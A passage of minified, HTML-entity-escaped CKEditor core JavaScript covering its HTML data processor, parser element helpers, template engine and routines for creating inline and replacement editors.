function(a,b){return E.test(b)&amp;&amp;-1==c.indexOf(&quot;data-cke-saved-&quot;+b)?&quot; data-cke-saved-&quot;+a+&quot; data-cke-&quot;+CKEDITOR.rnd+&quot;-&quot;+a:a})+&quot;\x3e&quot;})}function g(a,b){return a.replace(b,function(a,b,c){0===a.indexOf(&quot;\x3ctextarea&quot;)&amp;&amp;(a=b+u(c).replace(/&lt;/g,&quot;\x26lt;&quot;).replace(/&gt;/g,&quot;\x26gt;&quot;)+&quot;\x3c/textarea\x3e&quot;);return&quot;\x3ccke:encoded\x3e&quot;+encodeURIComponent(a)+&quot;\x3c/cke:encoded\x3e&quot;})}function n(a){return a.replace(L,function(a,b){return decodeURIComponent(b)})}function v(a){return a.replace(/\x3c!--(?!{cke_protected})[\s\S]+?--\x3e/g,
function(a){return&quot;\x3c!--&quot;+y+&quot;{C}&quot;+encodeURIComponent(a).replace(/--/g,&quot;%2D%2D&quot;)+&quot;--\x3e&quot;})}function u(a){return a.replace(/\x3c!--\{cke_protected\}\{C\}([\s\S]+?)--\x3e/g,function(a,b){return decodeURIComponent(b)})}function q(a,b){var c=b._.dataStore;return a.replace(/\x3c!--\{cke_protected\}([\s\S]+?)--\x3e/g,function(a,b){return decodeURIComponent(b)}).replace(/\{cke_protected_(\d+)\}/g,function(a,b){return c&amp;&amp;c[b]||&quot;&quot;})}function t(a,b){var c=[],d=b.config.protectedSource,f=b._.dataStore||(b._.dataStore=
{id:1}),g=/&lt;\!--\{cke_temp(comment)?\}(\d*?)--\x3e/g,d=[/&lt;script[\s\S]*?(&lt;\/script&gt;|$)/gi,/&lt;noscript[\s\S]*?&lt;\/noscript&gt;/gi,/&lt;meta[\s\S]*?\/?&gt;/gi].concat(d);a=a.replace(/\x3c!--[\s\S]*?--\x3e/g,function(a){return&quot;\x3c!--{cke_tempcomment}&quot;+(c.push(a)-1)+&quot;--\x3e&quot;});for(var e=0;e&lt;d.length;e++)a=a.replace(d[e],function(a){a=a.replace(g,function(a,b,d){return c[d]});return/cke_temp(comment)?/.test(a)?a:&quot;\x3c!--{cke_temp}&quot;+(c.push(a)-1)+&quot;--\x3e&quot;});a=a.replace(g,function(a,b,d){return&quot;\x3c!--&quot;+y+(b?&quot;{C}&quot;:
&quot;&quot;)+encodeURIComponent(c[d]).replace(/--/g,&quot;%2D%2D&quot;)+&quot;--\x3e&quot;});a=a.replace(/&lt;\w+(?:\s+(?:(?:[^\s=&gt;]+\s*=\s*(?:[^&#039;&quot;\s&gt;]+|&#039;[^&#039;]*&#039;|&quot;[^&quot;]*&quot;))|[^\s=\/&gt;]+))+\s*\/?&gt;/g,function(a){return a.replace(/\x3c!--\{cke_protected\}([^&gt;]*)--\x3e/g,function(a,b){f[f.id]=decodeURIComponent(b);return&quot;{cke_protected_&quot;+f.id++ +&quot;}&quot;})});return a=a.replace(/&lt;(title|iframe|textarea)([^&gt;]*)&gt;([\s\S]*?)&lt;\/\1&gt;/g,function(a,c,d,f){return&quot;\x3c&quot;+c+d+&quot;\x3e&quot;+q(u(f),b)+&quot;\x3c/&quot;+c+&quot;\x3e&quot;})}CKEDITOR.htmlDataProcessor=function(b){var c,
d,f=this;this.editor=b;this.dataFilter=c=new CKEDITOR.htmlParser.filter;this.htmlFilter=d=new CKEDITOR.htmlParser.filter;this.writer=new CKEDITOR.htmlParser.basicWriter;c.addRules(w);c.addRules(C,{applyToAll:!0});c.addRules(a(b,&quot;data&quot;),{applyToAll:!0});d.addRules(x);d.addRules(B,{applyToAll:!0});d.addRules(a(b,&quot;html&quot;),{applyToAll:!0});b.on(&quot;toHtml&quot;,function(a){a=a.data;var c=a.dataValue,d,c=t(c,b),c=g(c,G),c=l(c),c=g(c,I),c=c.replace(N,&quot;$1cke:$2&quot;),c=c.replace(R,&quot;\x3ccke:$1$2\x3e\x3c/cke:$1\x3e&quot;),
c=c.replace(/(&lt;pre\b[^&gt;]*&gt;)(\r\n|\n)/g,&quot;$1$2$2&quot;),c=c.replace(/([^a-z0-9&lt;\-])(on\w{3,})(?!&gt;)/gi,&quot;$1data-cke-&quot;+CKEDITOR.rnd+&quot;-$2&quot;);d=a.context||b.editable().getName();var f;CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;&quot;pre&quot;==d&amp;&amp;(d=&quot;div&quot;,c=&quot;\x3cpre\x3e&quot;+c+&quot;\x3c/pre\x3e&quot;,f=1);d=b.document.createElement(d);d.setHtml(&quot;a&quot;+c);c=d.getHtml().substr(1);c=c.replace(new RegExp(&quot;data-cke-&quot;+CKEDITOR.rnd+&quot;-&quot;,&quot;ig&quot;),&quot;&quot;);f&amp;&amp;(c=c.replace(/^&lt;pre&gt;|&lt;\/pre&gt;$/gi,&quot;&quot;));c=c.replace(H,&quot;$1$2&quot;);c=n(c);c=u(c);d=!1===a.fixForBody?!1:
e(a.enterMode,b.config.autoParagraph);c=CKEDITOR.htmlParser.fragment.fromHtml(c,a.context,d);d&amp;&amp;(f=c,!f.children.length&amp;&amp;CKEDITOR.dtd[f.name][d]&amp;&amp;(d=new CKEDITOR.htmlParser.element(d),f.add(d)));a.dataValue=c},null,null,5);b.on(&quot;toHtml&quot;,function(a){a.data.filter.applyTo(a.data.dataValue,!0,a.data.dontFilter,a.data.enterMode)&amp;&amp;b.fire(&quot;dataFiltered&quot;)},null,null,6);b.on(&quot;toHtml&quot;,function(a){a.data.dataValue.filterChildren(f.dataFilter,!0)},null,null,10);b.on(&quot;toHtml&quot;,function(a){a=a.data;var b=a.dataValue,
c=new CKEDITOR.htmlParser.basicWriter;b.writeChildrenHtml(c);b=c.getHtml(!0);a.dataValue=v(b)},null,null,15);b.on(&quot;toDataFormat&quot;,function(a){var c=a.data.dataValue;a.data.enterMode!=CKEDITOR.ENTER_BR&amp;&amp;(c=c.replace(/^&lt;br *\/?&gt;/i,&quot;&quot;));a.data.dataValue=CKEDITOR.htmlParser.fragment.fromHtml(c,a.data.context,e(a.data.enterMode,b.config.autoParagraph))},null,null,5);b.on(&quot;toDataFormat&quot;,function(a){a.data.dataValue.filterChildren(f.htmlFilter,!0)},null,null,10);b.on(&quot;toDataFormat&quot;,function(a){a.data.filter.applyTo(a.data.dataValue,
!1,!0)},null,null,11);b.on(&quot;toDataFormat&quot;,function(a){var c=a.data.dataValue,d=f.writer;d.reset();c.writeChildrenHtml(d);c=d.getHtml(!0);c=u(c);c=q(c,b);a.data.dataValue=c},null,null,15)};CKEDITOR.htmlDataProcessor.prototype={toHtml:function(a,b,c,d){var f=this.editor,g,e,l,h;b&amp;&amp;&quot;object&quot;==typeof b?(g=b.context,c=b.fixForBody,d=b.dontFilter,e=b.filter,l=b.enterMode,h=b.protectedWhitespaces):g=b;g||null===g||(g=f.editable().getName());return f.fire(&quot;toHtml&quot;,{dataValue:a,context:g,fixForBody:c,dontFilter:d,
filter:e||f.filter,enterMode:l||f.enterMode,protectedWhitespaces:h}).dataValue},toDataFormat:function(a,b){var c,d,f;b&amp;&amp;(c=b.context,d=b.filter,f=b.enterMode);c||null===c||(c=this.editor.editable().getName());return this.editor.fire(&quot;toDataFormat&quot;,{dataValue:a,filter:d||this.editor.filter,context:c,enterMode:f||this.editor.enterMode}).dataValue}};var p=/(?:&amp;nbsp;|\xa0)$/,y=&quot;{cke_protected}&quot;,A=CKEDITOR.dtd,z=&quot;caption colgroup col thead tfoot tbody&quot;.split(&quot; &quot;),r=CKEDITOR.tools.extend({},A.$blockLimit,
A.$block),w={elements:{input:f,textarea:f}},C={attributeNames:[[/^on/,&quot;data-cke-pa-on&quot;],[/^data-cke-expando$/,&quot;&quot;]]},x={elements:{embed:function(a){var b=a.parent;if(b&amp;&amp;&quot;object&quot;==b.name){var c=b.attributes.width,b=b.attributes.height;c&amp;&amp;(a.attributes.width=c);b&amp;&amp;(a.attributes.height=b)}},a:function(a){var b=a.attributes;if(!(a.children.length||b.name||b.id||a.attributes[&quot;data-cke-saved-name&quot;]))return!1}}},B={elementNames:[[/^cke:/,&quot;&quot;],[/^\?xml:namespace$/,&quot;&quot;]],attributeNames:[[/^data-cke-(saved|pa)-/,
&quot;&quot;],[/^data-cke-.*/,&quot;&quot;],[&quot;hidefocus&quot;,&quot;&quot;]],elements:{$:function(a){var b=a.attributes;if(b){if(b[&quot;data-cke-temp&quot;])return!1;for(var c=[&quot;name&quot;,&quot;href&quot;,&quot;src&quot;],d,f=0;f&lt;c.length;f++)d=&quot;data-cke-saved-&quot;+c[f],d in b&amp;&amp;delete b[c[f]]}return a},table:function(a){a.children.slice(0).sort(function(a,b){var c,d;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.type==a.type&amp;&amp;(c=CKEDITOR.tools.indexOf(z,a.name),d=CKEDITOR.tools.indexOf(z,b.name));-1&lt;c&amp;&amp;-1&lt;d&amp;&amp;c!=d||(c=a.parent?a.getIndex():-1,d=b.parent?b.getIndex():-1);return c&gt;d?
1:-1})},param:function(a){a.children=[];a.isEmpty=!0;return a},span:function(a){&quot;Apple-style-span&quot;==a.attributes[&quot;class&quot;]&amp;&amp;delete a.name},html:function(a){delete a.attributes.contenteditable;delete a.attributes[&quot;class&quot;]},body:function(a){delete a.attributes.spellcheck;delete a.attributes.contenteditable},style:function(a){var b=a.children[0];b&amp;&amp;b.value&amp;&amp;(b.value=CKEDITOR.tools.trim(b.value));a.attributes.type||(a.attributes.type=&quot;text/css&quot;)},title:function(a){var b=a.children[0];!b&amp;&amp;m(a,b=new CKEDITOR.htmlParser.text);
b.value=a.attributes[&quot;data-cke-title&quot;]||&quot;&quot;},input:h,textarea:h},attributes:{&quot;class&quot;:function(a){return CKEDITOR.tools.ltrim(a.replace(/(?:^|\s+)cke_[^\s]*/g,&quot;&quot;))||!1}}};CKEDITOR.env.ie&amp;&amp;(B.attributes.style=function(a){return a.replace(/(^|;)([^\:]+)/g,function(a){return a.toLowerCase()})});var D=/&lt;(a|area|img|input|source)\b([^&gt;]*)&gt;/gi,F=/([\w-:]+)\s*=\s*(?:(?:&quot;[^&quot;]*&quot;)|(?:&#039;[^&#039;]*&#039;)|(?:[^ &quot;&#039;&gt;]+))/gi,E=/^(href|src|name)$/i,I=/(?:&lt;style(?=[ &gt;])[^&gt;]*&gt;[\s\S]*?&lt;\/style&gt;)|(?:&lt;(:?link|meta|base)[^&gt;]*&gt;)/gi,
G=/(&lt;textarea(?=[ &gt;])[^&gt;]*&gt;)([\s\S]*?)(?:&lt;\/textarea&gt;)/gi,L=/&lt;cke:encoded&gt;([^&lt;]*)&lt;\/cke:encoded&gt;/gi,N=/(&lt;\/?)((?:object|embed|param|html|body|head|title)[^&gt;]*&gt;)/gi,H=/(&lt;\/?)cke:((?:html|body|head|title)[^&gt;]*&gt;)/gi,R=/&lt;cke:(param|embed)([^&gt;]*?)\/?&gt;(?!\s*&lt;\/cke:\1)/gi}(),&quot;use strict&quot;,CKEDITOR.htmlParser.element=function(a,e){this.name=a;this.attributes=e||{};this.children=[];var b=a||&quot;&quot;,c=b.match(/^cke:(.*)/);c&amp;&amp;(b=c[1]);b=!!(CKEDITOR.dtd.$nonBodyContent[b]||CKEDITOR.dtd.$block[b]||CKEDITOR.dtd.$listItem[b]||
CKEDITOR.dtd.$tableContent[b]||CKEDITOR.dtd.$nonEditable[b]||&quot;br&quot;==b);this.isEmpty=!!CKEDITOR.dtd.$empty[a];this.isUnknown=!CKEDITOR.dtd[a];this._={isBlockLike:b,hasInlineStarted:this.isEmpty||!b}},CKEDITOR.htmlParser.cssStyle=function(a){var e={};((a instanceof CKEDITOR.htmlParser.element?a.attributes.style:a)||&quot;&quot;).replace(/&amp;quot;/g,&#039;&quot;&#039;).replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,c,d){&quot;font-family&quot;==c&amp;&amp;(d=d.replace(/[&quot;&#039;]/g,&quot;&quot;));e[c.toLowerCase()]=d});return{rules:e,populate:function(a){var c=
this.toString();c&amp;&amp;(a instanceof CKEDITOR.dom.element?a.setAttribute(&quot;style&quot;,c):a instanceof CKEDITOR.htmlParser.element?a.attributes.style=c:a.style=c)},toString:function(){var a=[],c;for(c in e)e[c]&amp;&amp;a.push(c,&quot;:&quot;,e[c],&quot;;&quot;);return a.join(&quot;&quot;)}}},function(){function a(a){return function(b){return b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(&quot;string&quot;==typeof a?b.name==a:b.name in a)}}var e=function(a,b){a=a[0];b=b[0];return a&lt;b?-1:a&gt;b?1:0},b=CKEDITOR.htmlParser.fragment.prototype;CKEDITOR.htmlParser.element.prototype=
CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_ELEMENT,add:b.add,clone:function(){return new CKEDITOR.htmlParser.element(this.name,this.attributes)},filter:function(a,b){var e=this,m,f;b=e.getFilterContext(b);if(b.off)return!0;if(!e.parent)a.onRoot(b,e);for(;;){m=e.name;if(!(f=a.onElementName(b,m)))return this.remove(),!1;e.name=f;if(!(e=a.onElement(b,e)))return this.remove(),!1;if(e!==this)return this.replaceWith(e),!1;if(e.name==m)break;if(e.type!=CKEDITOR.NODE_ELEMENT)return this.replaceWith(e),
!1;if(!e.name)return this.replaceWithChildren(),!1}m=e.attributes;var h,l;for(h in m){for(f=m[h];;)if(l=a.onAttributeName(b,h))if(l!=h)delete m[h],h=l;else break;else{delete m[h];break}l&amp;&amp;(!1===(f=a.onAttribute(b,e,l,f))?delete m[l]:m[l]=f)}e.isEmpty||this.filterChildren(a,!1,b);return!0},filterChildren:b.filterChildren,writeHtml:function(a,b){b&amp;&amp;this.filter(b);var k=this.name,m=[],f=this.attributes,h,l;a.openTag(k,f);for(h in f)m.push([h,f[h]]);a.sortAttributes&amp;&amp;m.sort(e);h=0;for(l=m.length;h&lt;l;h++)f=
m[h],a.attribute(f[0],f[1]);a.openTagClose(k,this.isEmpty);this.writeChildrenHtml(a);this.isEmpty||a.closeTag(k)},writeChildrenHtml:b.writeChildrenHtml,replaceWithChildren:function(){for(var a=this.children,b=a.length;b;)a[--b].insertAfter(this);this.remove()},forEach:b.forEach,getFirst:function(b){if(!b)return this.children.length?this.children[0]:null;&quot;function&quot;!=typeof b&amp;&amp;(b=a(b));for(var d=0,e=this.children.length;d&lt;e;++d)if(b(this.children[d]))return this.children[d];return null},getHtml:function(){var a=
new CKEDITOR.htmlParser.basicWriter;this.writeChildrenHtml(a);return a.getHtml()},setHtml:function(a){a=this.children=CKEDITOR.htmlParser.fragment.fromHtml(a).children;for(var b=0,e=a.length;b&lt;e;++b)a[b].parent=this},getOuterHtml:function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeHtml(a);return a.getHtml()},split:function(a){for(var b=this.children.splice(a,this.children.length-a),e=this.clone(),m=0;m&lt;b.length;++m)b[m].parent=e;e.children=b;b[0]&amp;&amp;(b[0].previous=null);0&lt;a&amp;&amp;(this.children[a-
1].next=null);this.parent.add(e,this.getIndex()+1);return e},addClass:function(a){if(!this.hasClass(a)){var b=this.attributes[&quot;class&quot;]||&quot;&quot;;this.attributes[&quot;class&quot;]=b+(b?&quot; &quot;:&quot;&quot;)+a}},removeClass:function(a){var b=this.attributes[&quot;class&quot;];b&amp;&amp;((b=CKEDITOR.tools.trim(b.replace(new RegExp(&quot;(?:\\s+|^)&quot;+a+&quot;(?:\\s+|$)&quot;),&quot; &quot;)))?this.attributes[&quot;class&quot;]=b:delete this.attributes[&quot;class&quot;])},hasClass:function(a){var b=this.attributes[&quot;class&quot;];return b?(new RegExp(&quot;(?:^|\\s)&quot;+a+&quot;(?\x3d\\s|$)&quot;)).test(b):!1},getFilterContext:function(a){var b=
[];a||(a={off:!1,nonEditable:!1,nestedEditable:!1});a.off||&quot;off&quot;!=this.attributes[&quot;data-cke-processor&quot;]||b.push(&quot;off&quot;,!0);a.nonEditable||&quot;false&quot;!=this.attributes.contenteditable?a.nonEditable&amp;&amp;!a.nestedEditable&amp;&amp;&quot;true&quot;==this.attributes.contenteditable&amp;&amp;b.push(&quot;nestedEditable&quot;,!0):b.push(&quot;nonEditable&quot;,!0);if(b.length){a=CKEDITOR.tools.copy(a);for(var e=0;e&lt;b.length;e+=2)a[b[e]]=b[e+1]}return a}},!0)}(),function(){var a={},e=/{([^}]+)}/g,b=/([\\&#039;])/g,c=/\n/g,d=/\r/g;CKEDITOR.template=function(k){if(a[k])this.output=
a[k];else{var m=k.replace(b,&quot;\\$1&quot;).replace(c,&quot;\\n&quot;).replace(d,&quot;\\r&quot;).replace(e,function(a,b){return&quot;&#039;,data[&#039;&quot;+b+&quot;&#039;]\x3d\x3dundefined?&#039;{&quot;+b+&quot;}&#039;:data[&#039;&quot;+b+&quot;&#039;],&#039;&quot;});this.output=a[k]=Function(&quot;data&quot;,&quot;buffer&quot;,&quot;return buffer?buffer.push(&#039;&quot;+m+&quot;&#039;):[&#039;&quot;+m+&quot;&#039;].join(&#039;&#039;);&quot;)}}}(),delete CKEDITOR.loadFullCore,CKEDITOR.instances={},CKEDITOR.document=new CKEDITOR.dom.document(document),CKEDITOR.add=function(a){CKEDITOR.instances[a.name]=a;a.on(&quot;focus&quot;,function(){CKEDITOR.currentInstance!=a&amp;&amp;(CKEDITOR.currentInstance=
a,CKEDITOR.fire(&quot;currentInstance&quot;))});a.on(&quot;blur&quot;,function(){CKEDITOR.currentInstance==a&amp;&amp;(CKEDITOR.currentInstance=null,CKEDITOR.fire(&quot;currentInstance&quot;))});CKEDITOR.fire(&quot;instance&quot;,null,a)},CKEDITOR.remove=function(a){delete CKEDITOR.instances[a.name]},function(){var a={};CKEDITOR.addTemplate=function(e,b){var c=a[e];if(c)return c;c={name:e,source:b};CKEDITOR.fire(&quot;template&quot;,c);return a[e]=new CKEDITOR.template(c.source)};CKEDITOR.getTemplate=function(e){return a[e]}}(),function(){var a=[];CKEDITOR.addCss=
function(e){a.push(e)};CKEDITOR.getCss=function(){return a.join(&quot;\n&quot;)}}(),CKEDITOR.on(&quot;instanceDestroyed&quot;,function(){CKEDITOR.tools.isEmpty(this.instances)&amp;&amp;CKEDITOR.fire(&quot;reset&quot;)}),CKEDITOR.TRISTATE_ON=1,CKEDITOR.TRISTATE_OFF=2,CKEDITOR.TRISTATE_DISABLED=0,function(){CKEDITOR.inline=function(a,e){if(!CKEDITOR.env.isCompatible)return null;a=CKEDITOR.dom.element.get(a);if(a.getEditor())throw&#039;The editor instance &quot;&#039;+a.getEditor().name+&#039;&quot; is already attached to the provided element.&#039;;var b=new CKEDITOR.editor(e,
a,CKEDITOR.ELEMENT_MODE_INLINE),c=a.is(&quot;textarea&quot;)?a:null;c?(b.setData(c.getValue(),null,!0),a=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv contenteditable\x3d&quot;&#039;+!!b.readOnly+&#039;&quot; class\x3d&quot;cke_textarea_inline&quot;\x3e&#039;+c.getValue()+&quot;\x3c/div\x3e&quot;,CKEDITOR.document),a.insertAfter(c),c.hide(),c.$.form&amp;&amp;b._attachToForm()):b.setData(a.getHtml(),null,!0);b.on(&quot;loaded&quot;,function(){b.fire(&quot;uiReady&quot;);b.editable(a);b.container=a;b.ui.contentsElement=a;b.setData(b.getData(1));b.resetDirty();b.fire(&quot;contentDom&quot;);
b.mode=&quot;wysiwyg&quot;;b.fire(&quot;mode&quot;);b.status=&quot;ready&quot;;b.fireOnce(&quot;instanceReady&quot;);CKEDITOR.fire(&quot;instanceReady&quot;,null,b)},null,null,1E4);b.on(&quot;destroy&quot;,function(){c&amp;&amp;(b.container.clearCustomData(),b.container.remove(),c.show());b.element.clearCustomData();delete b.element});return b};CKEDITOR.inlineAll=function(){var a,e,b;for(b in CKEDITOR.dtd.$editable)for(var c=CKEDITOR.document.getElementsByTag(b),d=0,k=c.count();d&lt;k;d++)a=c.getItem(d),&quot;true&quot;==a.getAttribute(&quot;contenteditable&quot;)&amp;&amp;(e={element:a,config:{}},
!1!==CKEDITOR.fire(&quot;inline&quot;,e)&amp;&amp;CKEDITOR.inline(a,e.config))};CKEDITOR.domReady(function(){!CKEDITOR.disableAutoInline&amp;&amp;CKEDITOR.inlineAll()})}(),CKEDITOR.replaceClass=&quot;ckeditor&quot;,function(){function a(a,d,k,m){if(!CKEDITOR.env.isCompatible)return null;a=CKEDITOR.dom.element.get(a);if(a.getEditor())throw&#039;The editor instance &quot;&#039;+a.getEditor().name+&#039;&quot; is already attached to the provided element.&#039;;var f=new CKEDITOR.editor(d,a,m);m==CKEDITOR.ELEMENT_MODE_REPLACE&amp;&amp;(a.setStyle(&quot;visibility&quot;,&quot;hidden&quot;),f._.required=
a.hasAttribute(&quot;required&quot;),a.removeAttribute(&quot;required&quot;));k&amp;&amp;f.setData(k,null,!0);f.on(&quot;loaded&quot;,function(){b(f);m==CKEDITOR.ELEMENT_MODE_REPLACE&amp;&amp;f.config.autoUpdateElement&amp;&amp;a.$.form&amp;&amp;f._attachToForm();f.setMode(f.config.startupMode,function(){f.resetDirty();f.status=&quot;ready&quot;;f.fireOnce(&quot;instanceReady&quot;);CKEDITOR.fire(&quot;instanceReady&quot;,null,f)})});f.on(&quot;destroy&quot;,e);return f}function e(){var a=this.container,b=this.element;a&amp;&amp;(a.clearCustomData(),a.remove());b&amp;&amp;(b.clearCustomData(),this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&amp;&amp;
(b.show(),this._.required&amp;&amp;b.setAttribute(&quot;required&quot;,&quot;required&quot;)),delete this.element)}function b(a){var b=a.name,e=a.element,m=a.elementMode,f=a.fire(&quot;uiSpace&quot;,{space:&quot;top&quot;,html:&quot;&quot;}).html,h=a.fire(&quot;uiSpace&quot;,{space:&quot;bottom&quot;,html:&quot;&quot;}).html,l=new CKEDITOR.template(&#039;\x3c{outerEl} id\x3d&quot;cke_{name}&quot; class\x3d&quot;{id} cke cke_reset cke_chrome cke_editor_{name} cke_{langDir} &#039;+CKEDITOR.env.cssClass+&#039;&quot;  dir\x3d&quot;{langDir}&quot; lang\x3d&quot;{langCode}&quot; role\x3d&quot;application&quot;&#039;+(a.title?&#039; aria-labelledby\x3d&quot;cke_{name}_arialbl&quot;&#039;:
&quot;&quot;)+&quot;\x3e&quot;+(a.title?&#039;\x3cspan id\x3d&quot;cke_{name}_arialbl&quot; class\x3d&quot;cke_voice_label&quot;\x3e{voiceLabel}\x3c/span\x3e&#039;:&quot;&quot;)+&#039;\x3c{outerEl} class\x3d&quot;cke_inner cke_reset&quot; role\x3d&quot;presentation&quot;\x3e{topHtml}\x3c{outerEl} id\x3d&quot;{contentId}&quot; class\x3d&quot;cke_contents cke_reset&quot; role\x3d&quot;presentation&quot;\x3e\x3c/{outerEl}\x3e{bottomHtml}\x3c/{outerEl}\x3e\x3c/{outerEl}\x3e&#039;),b=CKEDITOR.dom.element.createFromHtml(l.output({id:a.id,name:b,langDir:a.lang.dir,langCode:a.langCode,voiceLabel:a.title,topHtml:f?&#039;\x3cspan id\x3d&quot;&#039;+
a.ui.spaceId(&quot;top&quot;)+&#039;&quot; class\x3d&quot;cke_top cke_reset_all&quot; role\x3d&quot;presentation&quot; style\x3d&quot;height:auto&quot;\x3e&#039;+f+&quot;\x3c/span\x3e&quot;:&quot;&quot;,contentId:a.ui.spaceId(&quot;contents&quot;),bottomHtml:h?&#039;\x3cspan id\x3d&quot;&#039;+a.ui.spaceId(&quot;bottom&quot;)+&#039;&quot; class\x3d&quot;cke_bottom cke_reset_all&quot; role\x3d&quot;presentation&quot;\x3e&#039;+h+&quot;\x3c/span\x3e&quot;:&quot;&quot;,outerEl:CKEDITOR.env.ie?&quot;span&quot;:&quot;div&quot;}));m==CKEDITOR.ELEMENT_MODE_REPLACE?(e.hide(),b.insertAfter(e)):e.append(b);a.container=b;a.ui.contentsElement=a.ui.space(&quot;contents&quot;);f&amp;&amp;a.ui.space(&quot;top&quot;).unselectable();
h&amp;&amp;a.ui.space(&quot;bottom&quot;).unselectable();e=a.config.width;m=a.config.height;e&amp;&amp;b.setStyle(&quot;width&quot;,CKEDITOR.tools.cssLength(e));m&amp;&amp;a.ui.space(&quot;contents&quot;).setStyle(&quot;height&quot;,CKEDITOR.tools.cssLength(m));b.disableContextMenu();CKEDITOR.env.webkit&amp;&amp;b.on(&quot;focus&quot;,function(){a.focus()});a.fireOnce(&quot;uiReady&quot;)}CKEDITOR.replace=function(b,d){return a(b,d,null,CKEDITOR.ELEMENT_MODE_REPLACE)};CKEDITOR.appendTo=function(b,d,e){return a(b,d,e,CKEDITOR.ELEMENT_MODE_APPENDTO)};CKEDITOR.replaceAll=function(){for(var a=
document.getElementsByTagName(&quot;textarea&quot;),b=0;b&lt;a.length;b++){var e=null,m=a[b];if(m.name||m.id){if(&quot;string&quot;==typeof arguments[0]){if(!(new RegExp(&quot;(?:^|\\s)&quot;+arguments[0]+&quot;(?:$|\\s)&quot;)).test(m.className))continue}else if(&quot;function&quot;==typeof arguments[0]&amp;&amp;(e={},!1===arguments[0](m,e)))continue;this.replace(m,e)}}};CKEDITOR.editor.prototype.addMode=function(a,b){(this._.modes||(this._.modes={}))[a]=b};CKEDITOR.editor.prototype.setMode=function(a,b){var e=this,m=this._.modes;if(a!=e.mode&amp;&amp;m&amp;&amp;m[a]){e.fire(&quot;beforeSetMode&quot;,
a);if(e.mode){var f=e.checkDirty(),m=e._.previousModeData,h,l=0;e.fire(&quot;beforeModeUnload&quot;);e.editable(0);e._.previousMode=e.mode;e._.previousModeData=h=e.getData(1);&quot;source&quot;==e.mode&amp;&amp;m==h&amp;&amp;(e.fire(&quot;lockSnapshot&quot;,{forceUpdate:!0}),l=1);e.ui.space(&quot;contents&quot;).setHtml(&quot;&quot;);e.mode=&quot;&quot;}else e._.previousModeData=e.getData(1);this._.modes[a](function(){e.mode=a;void 0!==f&amp;&amp;!f&amp;&amp;e.resetDirty();l?e.fire(&quot;unlockSnapshot&quot;):&quot;wysiwyg&quot;==a&amp;&amp;e.fire(&quot;saveSnapshot&quot;);setTimeout(function(){e.fire(&quot;mode&quot;);b&amp;&amp;b.call(e)},
0)})}};CKEDITOR.editor.prototype.resize=function(a,b,e,m){var f=this.container,h=this.ui.space(&quot;contents&quot;),l=CKEDITOR.env.webkit&amp;&amp;this.document&amp;&amp;this.document.getWindow().$.frameElement;m=m?this.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasClass(&quot;cke_inner&quot;)}):f;m.setSize(&quot;width&quot;,a,!0);l&amp;&amp;(l.style.width=&quot;1%&quot;);var g=(m.$.offsetHeight||0)-(h.$.clientHeight||0),f=Math.max(b-(e?0:g),0);b=e?b+g:b;h.setStyle(&quot;height&quot;,f+&quot;px&quot;);l&amp;&amp;(l.style.width=&quot;100%&quot;);this.fire(&quot;resize&quot;,{outerHeight:b,
contentsHeight:f,outerWidth:a||m.getSize(&quot;width&quot;)})};CKEDITOR.editor.prototype.getResizable=function(a){return a?this.ui.space(&quot;contents&quot;):this.container};CKEDITOR.domReady(function(){CKEDITOR.replaceClass&amp;&amp;CKEDITOR.replaceAll(CKEDITOR.replaceClass)})}(),CKEDITOR.config.startupMode=&quot;wysiwyg&quot;,function(){function a(a){var b=a.editor,d=a.data.path,f=d.blockLimit,g=a.data.selection,l=g.getRanges()[0],h;if(CKEDITOR.env.gecko||CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.needsBrFiller)if(g=e(g,d))g.appendBogus(),h=CKEDITOR.env.ie;
m(b,d.block,f)&amp;&amp;l.collapsed&amp;&amp;!l.getCommonAncestor().isReadOnly()&amp;&amp;(d=l.clone(),d.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS),f=new CKEDITOR.dom.walker(d),f.guard=function(a){return!c(a)||a.type==CKEDITOR.NODE_COMMENT||a.isReadOnly()},!f.checkForward()||d.checkStartOfBlock()&amp;&amp;d.checkEndOfBlock())&amp;&amp;(b=l.fixBlock(!0,b.activeEnterMode==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;),CKEDITOR.env.needsBrFiller||(b=b.getFirst(c))&amp;&amp;b.type==CKEDITOR.NODE_TEXT&amp;&amp;CKEDITOR.tools.trim(b.getText()).match(/^(?:&amp;nbsp;|\xa0)$/)&amp;&amp;b.remove(),
h=1,a.cancel());h&amp;&amp;l.select()}function e(a,b){if(a.isFake)return 0;var d=b.block||b.blockLimit,f=d&amp;&amp;d.getLast(c);if(!(!d||!d.isBlockBoundary()||f&amp;&amp;f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;f.isBlockBoundary()||d.is(&quot;pre&quot;)||d.getBogus()))return d}function b(a){var b=a.data.getTarget();b.is(&quot;input&quot;)&amp;&amp;(b=b.getAttribute(&quot;type&quot;),&quot;submit&quot;!=b&amp;&amp;&quot;reset&quot;!=b||a.data.preventDefault())}function c(a){return g(a)&amp;&amp;n(a)}function d(a,b){return function(c){var d=c.data.$.toElement||c.data.$.fromElement||c.data.$.relatedTarget;
(d=d&amp;&amp;d.nodeType==CKEDITOR.NODE_ELEMENT?new CKEDITOR.dom.element(d):null)&amp;&amp;(b.equals(d)||b.contains(d))||a.call(this,c)}}function k(a){function b(a){return function(b,f){f&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.is(g)&amp;&amp;(d=b);if(!(f||!c(b)||a&amp;&amp;u(b)))return!1}}var d,f=a.getRanges()[0];a=a.root;var g={table:1,ul:1,ol:1,dl:1};if(f.startPath().contains(g)){var e=f.clone();e.collapse(1);e.setStartAt(a,CKEDITOR.POSITION_AFTER_START);a=new CKEDITOR.dom.walker(e);a.guard=b();a.checkBackward();if(d)return e=f.clone(),
